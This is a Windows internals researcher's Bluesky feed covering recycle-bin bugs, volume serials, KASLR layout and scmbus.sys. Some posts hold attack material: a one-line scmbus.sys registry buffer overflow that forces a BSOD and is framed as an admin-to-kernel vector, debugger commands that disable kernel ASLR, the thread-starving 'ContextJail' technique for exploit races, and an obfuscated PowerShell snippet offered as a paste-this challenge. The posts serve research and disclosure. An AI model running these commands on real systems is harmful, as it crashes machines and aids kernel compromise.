sixtyvividtails
@sixtyvividtails.bsky.social
66 followers 28 following 35 posts
probably not a mimic
Posts Media Videos Starter Packs
sixtyvividtails.bsky.social
You mean DllMain load reason?

0: DLL_PROCESS_DETACH
...
4: DLL_PROCESS_VERIFIER
From ntdll!AVrfpLoadAndInitializeProvider, ctx: [outptr] address of ptr to RTL_VERIFIER_PROVIDER_DESCRIPTOR.

5: DLL_PROCESS_VERIFIER_TABLE
From ntdll!AvrfMiniLoadDll, ctx: address of ptr to RTL_VERIFIER_HELPER_TABLE.
sixtyvividtails.bsky.social
Close your eyes and ✨imagine:

From a low-integrity process (from LPAC even), you can inject your data anywhere you want:
privileged tasks, PPL/protected processes, the OS kernel itself, and VTL1 trustlets.

Now open your eyes. It is not hypothetical.
It is the reality. Read it on page 33.
pagedout.bsky.social
pagedout.institute ← we've just released Paged Out! zine Issue #7
pagedout.institute/download/Pag... ← direct link
lulu.com/search?page=... ← prints for zine collectors
pagedout.institute/download/Pag... ← issue wallpaper
Enjoy!

Please please please share to spread the news - thank you!
sixtyvividtails.bsky.social
...and I was wondering why 🌸🌸 count suddenly increased by like 10%; thanks for shoutout! 😸

And it's a great rebuttal, really nice to know forwarders are actually used. It seems some are even used in a pretty good way, like python3.dll -> python3X.dll.
sixtyvividtails.bsky.social
Error you may randomly get anytime you delete stuff: błąd 0x80070050.
Nevermind the shellful bin and Shellberus the dog (recycler shell32 dev).

Error is due to rnd name generation for the bin: $R[A-Z0-9]{6}<.ext>.
Deleting 2 files: 36⁻⁶ ≈ 2⁻³¹ fail chance.
🎈Birthday paradox: 50% 🎲 for 54933 files.
Screenshot of an error message (in French). You can randomly get this message when deleting files/folders to the Recycle Bin. The message is overlayed with manually added picture of shellful Recycle Bin and wondering Shellberus, the three-headed dog.
There are other bugs you can find in the recycle bin, but it appears they are either benign, or can't even be classified as bugs, so not worth describing.

To quickly check the message you can just generate several thousand files with same ext and delete them to the recycle bin (delete the files themselves, not their containing folder). For 50% message chance you need about 54933 files:
@for /L %i in (1,1,54933) do @echo %i_%time%>%i.txt

Name generation is truly random:
CRecycleBinBase::RecycleItem
 -> _MakeRecycleItem
  -> _PreRecycleItem
   -> _CreateRecycleItemPath
    -> GenRandomFileName
     -> BCryptGenRandom
sixtyvividtails.bsky.social
What is Volume Serial Number (aka VolId/VolumeId)?
For ntfs it's 64 bits at offset +0x48 from the volume start (in the $Boot file).
You see its lower dword with "dir C:".

But how it's calculated? Is it good for #DFIR?
👉 It's just a weak hash over 429.5 seconds of system time.
Algo for computing volume serial and various other info.


Note if 7 minutes is enough for you 😼, you can preimage the hash instantly (2-6 close values).

Edit your serial via NtWriteFile("C:",buf,0x200), or via Sysinternals VolumeId.exe.
But then we can detect tampered serials! Only 0x7F80094B values are "genuine" (out of the full 2⁶⁴ space).


uint compute_volume_serial32(uint srcId = 0)
{
  uint id = srcId;
  while (!id || id == 0xFFFFFF80)
  {
    uint64 time64 = KUSER_SHARED_DATA.SystemTime;
    id = (uint)time64;
    if (!id)
      id = (uint)(time64 >> 0x20);
  }
  for (uint i = 0; i < 4; ++i)
    id = rotr(id + (uchar)(id >> (8 * i)), 2);
  return id;
}


uint64 compute_volume_serial64()
{
  uint dword0 = compute_volume_serial32(0);      // 0x7F80094B values
  uint dword1 = compute_volume_serial32(dword0); // 0x3FC12F4F values
  return ((uint64)dword1 << 0x20) | dword0;
}


Set new serial: NtWriteFile(`\??\C:`). No slash.
You may need to write entire sector.

Get 32-bit serial: dir C:
Get 64-bit serial: fsutil fsinfo ntfsinfo C:
Get 64-bit serial w/o admin rights:

$b=[int64[]](0,0,0);`
$f='NtQueryInformationFile';`
(Add-Type -m "[DllImport(`"ntdll`")]public static extern int $f(IntPtr h,int[]s,long[]b,int L,int C);"x -pas)::`
$f([IO.FileStream]::new("$env:windir\win.ini",'Open','Read').Handle,(0,0,0),$b,24,59);`
'{0:X016}'-f $b[0]
sixtyvividtails.bsky.social
Well, at least exports are not rebuilt in some appended section, so we can add a few extra points of credibility. 😽
sixtyvividtails.bsky.social
Ooh! Wow! But it's it Real? 🤭
It's hard to imagine why would RealTek make something like that. On the other hand, if it was edited with malicious intent, what was even the purpose?..
I don't have access to VT nowadays, would be interesting to check out.
sixtyvividtails.bsky.social
Hypothesis: no legit vendor beside Microsoft makes dlls with forwarded exports.
sixtyvividtails.bsky.social
Relaunch feature is funny, didn't expect it.
Btw, this app is called servercoreshell.exe because it's a shell.. on a Server Core SKUs. Yeah, that gui-less OS versions where even explorer.exe binary is absent by default.
The calcflood happens coz calc terminates (after launching own lesser clone). 😺
sixtyvividtails.bsky.social
🔙🕛1582⚡

Set-Date 1601-10-08;if($?){$b=60*24*365*19;`
$x={Add-Type -m "[DllImport(`"ntdll`")]public static extern int $f(int a,int$args b,int c,int[]d);"$f$f -pas};`
$f='RtlAdjustPrivilege';(&$x)::$f(34,1,0,0);`
$f='NtSetSystemInformation';(&$x [])::$f(93,(,$b+(,0*42)),172,0)}

(that kills your app)
sixtyvividtails.bsky.social
Windows SystemTime is # of centums (100ns units) since 1601-01-01. Thus NtSetSystemTime(&zero) only gets you to 1601.
We need extra 19 years!

💡 No UTC in 1582 yet: we can make use of Local Time.
Use SystemTimeZoneInformation to set Timezone Bias: ±68 years (±2³¹ s), 60s grain.

Enjoy your weekend 😺
sixtyvividtails.bsky.social
Greetings, fellow timetravelers. Today is Monday.
But if I could convince Pope Gregory XIII not to skip weekdays @1582-10-15, today could still be Friday!

But there's a problem. To meet Pope, I gotta set clock on my Windows to the year 1582, yet it refuses: only allows 1601.
How to set it to 1582?
sixtyvividtails.bsky.social
Hey, don't play the UNO reverse card on me here! It is the challenge, to determine what is the intended purpose and meaning of the returned value. What score did you get here, 80? Less? That's okay, one of my old computers got 23. 😂
sixtyvividtails.bsky.social
Finally, a script to estimate IQ of your PC!
Copypaste it into powershell console, get instant result!

$9={[Runtime.InteropServices.Marshal]::
ReadInt64(1TB-64MB-+-$args[0]-shr9)};`
(&$9 4KB)/(&$9 (900.9MB/9.9/7-shr5))/`
25/(&$9)*(2L-shl55)

Is your PC smart?
Can you deduce what is that metric?
Cirno being smug about getting very high IQ scores for her PC.
Or may be she's sly for tricking you into running unknown powershell script on your host!

Cirno art by みず
https://www.pixiv.net/en/artworks/98071482
https://twitter.com/mizillustration


The challenge: try to deduce or even what real metric the snippet calculates.
But feel free to also just post your scores!

Hints:
1. It's real.
2. Only works on Windows.
3. It doesn't BSOD your system.
4. The metric is for the current boot session, and it is dynamic.
5. Just like with a real IQ, your score should be in the range of about 10 to 199.9 😸.

Most likely you'd get score below 60 lol, may be even 20 or so. But do not worry: that score is for your PC, not for you personally; your own IQ might be higher. Scores above 120 are quite rare for client OS!
sixtyvividtails.bsky.social
Windows can seamlessly patch your code when it catches #GP. So called "alignment fixup".

KiOpPatchCode modifies user code: movaps->movups, movdqa->movdqu.

Needs x64 code, and opt-in: SetErrorMode(SEM_NOALIGNMENTFAULTEXCEPT), or ProcessEnableAlignmentFaultFixup, or ThreadEnableAlignmentFaultFixup.
Decompilation of nt!KiOpPatchCode, with callstack.
In text form: https://pastebin.com/X9BaUxhh

Yes, you can detect unsolicited int3 presence using this facility, but that's about it.
May be also do a party trick with racer thread which modifies seemingly non-writeable "RX" page (during short period when oskernel secretly makes it RWX).

There doesn't seem to be any issues with instruction decoder and "emulator" which would enable things not allowed already to native code. Except may be that sus KiOp_Mov, but it's only for ring0 anyway.

To look further, see nt!KiOp* funcs and data.
sixtyvividtails.bsky.social
…or #bsod instead:

cmd /v/k"set A=A&(for /L %i in (1,1,9)do set A=!A!!A!)&set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /t 3 /v &!R!ForceReadCachedLabels /d C!A!B!A!1&(for %v in (EnableLabelCache CreateSimulatedRamdiskRootDevice RamdiskSizeInBytes)do !R!%v /d DAC5)&sc start scmbus"
Several screenshots combined.
1. Cmd with registry write commands for the scmbus.sys driver.
2. Resulting immediate BSOD (well, not immediate if scmbus.sys was running already).
3. Decompilation of relevant code.
4. Dynamic analysis of the failure in Windbg.


It appears scmbus.sys is not just a free nvdimm emulator
with a dax RAM drive, it might also be a free admin-to-kernel
BYOVD (Bundled Yet Ostensibly Venial Driver).

Here's just one example, classic buffer overflow.
Enabled by insane mad hacks in RtlQueryRegistryValuesEx,
and Microsoft ignoring its own advice for that api use.
sixtyvividtails.bsky.social
Make pmem/nvdimm #dax RAM📀, 0x1234_MB:

cmd /v/c"set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /v&!R! CreateSimulatedRamdiskRootDevice /t 4 /d 1 &!R! RamdiskSizeInBytes /t 11 /d 0x123400000 &sc start scmbus"

mb reboot; partite, and
format X: /fs:ntfs /Q /L /DAX
sixtyvividtails.bsky.social
Did you know Windows has built-in RAM disk?
And not just your regular RAM disk. It's pmem/nvdimm, via built-in scmbus.sys facility!

That means you can make 🦆🦆🦆 #dax volume, so data/image mappings (section views) will use "drive" directly!
No data persistence, no w10; only ws2022/w11+. EZ 📀 create:
Collage of screenshots showing how to enable emulated ramdisk and set its size via registry parameters for scmbus.sys.
Also shown: how to create partition and properly format the DAX volume.


1. Create ramdisk of 0x1234_MB:

cmd /v/c"set R=reg add HKLM\SYSTEM\CurrentControlSet\Services\scmbus /f /v&!R! CreateSimulatedRamdiskRootDevice /t 4 /d 1 &!R! RamdiskSizeInBytes /t 11 /d 0x123400000 &sc start scmbus"

(reboot required, unless you're lucky).


2. Create parition as usual:

list disk
select disk NNNN
convert gpt
create partition primary
assign letter X:


3. And format volume with DAX support:

format X: /fs:ntfs /Q /L /DAX
sixtyvividtails.bsky.social
ntoskrnl #kASLR 🚫:

r$t0=0;# and*77FFFF winload!MmArchInitialize L200;r$t0=@$exp;.while(by(@$t0)){r$t0=@$t0+1};ed@$t0-3 0;
ed MmArchKsegAddressRange 0 FFFFF800;
r$t0=SymCryptRngAesGenerate;ed@$t0 33CA8B48 E9D2;ed@$t0+6 memset-@$t0-A;

ed OslGatherEntropy C3C033;
ed BlArchGetPerformanceCounter C3C033
sixtyvividtails.bsky.social
Kernel VA region for system images has size 512_GB (256_TB LA57).
And nt!MiAssignTopLevelRanges shuffles regions order before VA assignment.

So why is ntoskrnl always in the first 31_GB from 0xFFFF_FF80_0000_0000?!

That's just how winload.efi randomizes MmArchKsegBias.

#KASLR #0xFFFFFF8000000000
Part1:
Decompilation of winload!MmArchInitialize, where MmArchKsegBias is selected as random value in the range [0; 0x77FFFF000]. So, from 0 to 30 GB (0x1E GB).
That value is used to bias MmArchKsegBase, which gets put into MmArchKsegAddressRange.Minimum. And that var is utilized for virtual address allocations, including VAs for images like ntoskrnl.exe.
 
Part2:
Part of nt!MiAssignTopLevelRanges decompile. There we can observe BaseVa for AssignedRegionSystemImages VA region type gets assigned as current imagebase of the ntoskrnl, aligned down by 512_GB. Since BaseVa is explicitly assigned, function will skip call to MiAssignSystemVa() for that region type.
 
 
So despite randomization of relative starts of most of the 0x12 regions in win11 24H2, we can assume that they all aligned by 512_GB (or 256_TB for LA57), and "AssignedRegionSystemImages" region type always starts at 0xFFFF_FF80_0000_0000.
And we can also assume ntoskrnl always starts in the first ~30.5_GB of that region.
sixtyvividtails.bsky.social
There are lots of misoptimisations in the OS kernel with /dynamicValueFixupSym.

E.g. index check for SK PFN db — is it "cmp rcx, 0x07FF'FFFF'FFFF>>3"? Size is constant after all.

Nope. Gotta load SKMM_PFN_DATABASE_END, SKMM_PFN_DATABASE, sub, shift, etc — dozens of extra instr, in a lot of places.
dumpbin.exe /loadConfig ntosknrl.exe

File Type: EXECUTABLE IMAGE
  Section contains the following load config:
    00000140 size
         ...
             // +78/C0, not used anymore
           0 DynamicValueRelocTable
         ...
             // +88/E0; offset in section, normally right after the regular relocs
    00005C8C DynamicValueRelocTableOffset
             // +8C/E4; 1-based section index, normally it's .relocs
        0024 DynamicValueRelocTableSection
         ...

    Symbol VA: FFFFDE0000000000
    Fixup RVAs:
        [00000000] = page 00201000 rva 00201B94 type 0
        [00000001] = page 00204000 rva 0020430D type 0
                 ...



ntoskrnl.exe 24H2 has 9 dynamic value fixups:

0xFFFFDE0000000000 MM_PFN_DATABASE, 1264 refs
0xFFFFF68000000000 PTE_BASE, 1011 refs
0xFFFFF6FB40000000 PDE_BASE, 64
0xFFFFF6FB7DA00000 PPE_BASE, 6
0xFFFFF6FB7DBED000 PXE_BASE, 192
0xFFFFF6FB7DBEDF68 PXE_SELFMAP, 85
0xFFFFF6FFFFFFFFFF PTE_TOP, 129
0xFFFFF6FB7FFFFFFF PDE_TOP, 10
0xFFFFF6FB7DBEDFFF PXE_TOP, 48


SecureKernel.exe 24H2 has 13 dynamic value fixups:

0xFFFFE80000000000 SKMM_PFN_DATABASE, 142 refs
0xFFFFEFFFFFFFFFFF SKMM_PFN_DATABASE_END, 117
0xFFFFF60000000000 SKMM_NTE_BASE, 93
0xFFFFF67FFFFFFFFF SKMM_NTE_TOP, 41
0xFFFFF68000000000 SKMM_PTE_BASE, 372
0xFFFFF6FB40000000 SKMM_PDE_BASE, 6
0xFFFFF6FB7DA00000 SKMM_PPE_BASE, 2
0xFFFFF6FB7DBED000 SKMM_PXE_BASE, 712
0xFFFFF6FB7DBEDF68 SKMM_PXE_SELFMAP, 10
0xFFFFF6FB7FFFFFFF SKMM_PDE_TOP, 1
0xFFFFF6FFFFFFFFFF SKMM_PTE_TOP, 55
0xFFFFF78000000000 KI_USER_SHARED_DATA, 150 (writeable)
0x000000007FFE0000 0x7FFE0000 KI_USER_SHARED_DATA_R3, 2 (readable)
sixtyvividtails.bsky.social
1. Pause thread midway in exploit races (even ⓪).
2. Or block entire CPU core. Kernel APCs run at APC_LEVEL (🤯), so thread scheduling kinda disabled (think priority == ∞).
3. Or build upon @hasherezade.bsky.social work & generalize #WaitingThreadHijacking — making it, in fact, Waitless.
sixtyvividtails.bsky.social
Heard of #ContextJail?
It's a nasty new technique: puts target thread into ⓪ deadloop, for as long as you can afford. Requires THREAD_GET_CONTEXT right.

The gist? Just spam NtGetContextThread(tgt).😸
Target will be jailed, running nt!PspGetSetContextSpecialApc 🔁.

Src & binary in [ALT].

Usecases: ⤵️
Screenshot of contextjail.exe running with default arguments.


Highlighted:

* prisoner thread (latched to CPU1 with priority 15) couldn't run for the entire test duration (30 seconds).

* 99 jailer threads (latched to 6/8 processors, CPU2..CPU7) were using 20% of total CPU time.


Overlay: pseudo-ASSCII art with prisoner thread and 6 jailer threads (guards), spamming NtGetContextThread to block the prisoner.


Source and compiled binary:
https://pastebin.com/pBJcGp1y
sixtyvividtails.bsky.social
Kernel VA region for system images has size 512_GB (256_TB LA57).
And nt!MiAssignTopLevelRanges shuffles regions order before VA assignment.

So why is ntoskrnl always in the first 31_GB from 0xFFFF_FF80_0000_0000?!

That's just how winload.efi randomizes MmArchKsegBias.

#KASLR #0xFFFFFF8000000000
Part1:
Decompilation of winload!MmArchInitialize, where MmArchKsegBias is selected as random value in the range [0; 0x77FFFF000]. So, from 0 to 30 GB (0x1E GB).
That value is used to bias MmArchKsegBase, which gets put into MmArchKsegAddressRange.Minimum. And that var is utilized for virtual address allocations, including VAs for images like ntoskrnl.exe.
 
Part2:
Part of nt!MiAssignTopLevelRanges decompile. There we can observe BaseVa for AssignedRegionSystemImages VA region type gets assigned as current imagebase of the ntoskrnl, aligned down by 512_GB. Since BaseVa is explicitly assigned, function will skip call to MiAssignSystemVa() for that region type.
 
 
So despite randomization of relative starts of most of the 0x12 regions in win11 24H2, we can assume that they all aligned by 512_GB (or 256_TB for LA57), and "AssignedRegionSystemImages" region type always starts at 0xFFFF_FF80_0000_0000.
And we can also assume ntoskrnl always starts in the first ~30.5_GB of that region.
sixtyvividtails.bsky.social
WinDbg script to check kCFG target function validity, and also to dump actual cfguard bitmap (which can be quite different from what's specified in the image GFIDS, needs more research): pastebin.com/64kujJNb.

!check_cfguard "nt!longjmp"

!dump_cfguard_bitmap "nt", "C:/cfguard_bitmap_ntoskrnl.bin"
dump_cfguard_bitmap.js - Pastebin.com
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
pastebin.com
sixtyvividtails.bsky.social
Oh no, be careful! This creature may look cute, but that calm smile hides something cunning and unpredictable!